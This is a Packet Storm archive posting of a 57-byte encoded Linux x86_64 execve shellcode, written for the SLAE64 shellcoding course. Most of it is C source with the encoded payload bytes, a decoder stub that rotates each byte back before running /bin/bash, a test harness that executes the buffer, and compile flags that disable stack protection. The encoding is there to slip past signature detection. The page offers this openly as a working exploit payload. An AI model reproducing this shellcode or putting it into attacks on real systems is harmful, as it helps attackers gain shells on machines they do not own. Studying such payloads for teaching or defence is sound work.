exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x64_86 ROL Encoded Execve Shellcode

Linux/x64_86 ROL Encoded Execve Shellcode
Posted Apr 24, 2020
Authored by Bobby Cooke

57 bytes small Linux/x64_86 /bin/bash shellcode. The stub decodes the ROL Encoded shellcode. When the stub has finished decoding the payload, execution control is passed to the payload.

tags | shellcode, bash
systems | linux
SHA-256 | 0b2a9ee02c0b7d0258cad51519bebf538bc5adf11a6b79a09c2f9a31449092a7

Linux/x64_86 ROL Encoded Execve Shellcode

Change Mirror Download
// Shellcode Title:  Linux/x64 - ROL Encoded Execve Shellcode (57 bytes)
// Shellcode Author: Bobby Cooke
// Date: 2020-04-24
// Tested On: Kali Linux 5.3.0-kali3-amd64 x86_64
// Description: Encoded Execve /bin/bash shellcode for Linux x64_86 systems.The stub decodes the ROL Encoded shellcode. When the stub finished decoding the payload, execution control is passed to the payload.
// SLAE/Student ID: PA-10913
// Course: This shellcode was created for the x86_64 Assembly Language and Shellcoding on Linux (SLAE64) Course offered at pentesteracademy.com.
// Shoutout: skape, vivek, offsec, corelan
// Usage:
// root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 3067 pts/3 Ss 0:00 /bin/bash
// root# ./shellcode
// Shellcode Length: 57
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 3501 pts/3 S 0:00 [bash]

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\xeb\x0d" // jmp short call_decoder
// decoder:
"\x5e" // pop rsi = &String
// decode:
"\xd0\x0e" // ror byte [rsi], 1
"\x80\x3e\x55" // cmp byte [rsi], 0x55 - last byte? ror 0xaa, 1 = 0x55
"\x74\x0a" // je Shellcode - End? Jump to shellcode!
"\x48\xff\xc6" // inc rsi - Not end? move 2 next byte
"\xeb\xf4" // jmp short decode - loop 2 decode next byte
// call_decoder:
"\xe8\xee\xff\xff\xff" // call decoder // go 2 decode loop
// Execve(/bin/bash) ROL Encoded Shellcode
"\x90\x62\xed\x90\xef\xcd\x90\x62\xff\xae\x90\x07\x85"
"\xd0\xa4\x90\x75\x5e\xc4\xd2\xdc\x5e\xc4\xc2\xe6\xa4"
"\x90\x62\xa5\x90\x13\xcf\x61\x76\x1e\x0a\xaa";

int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close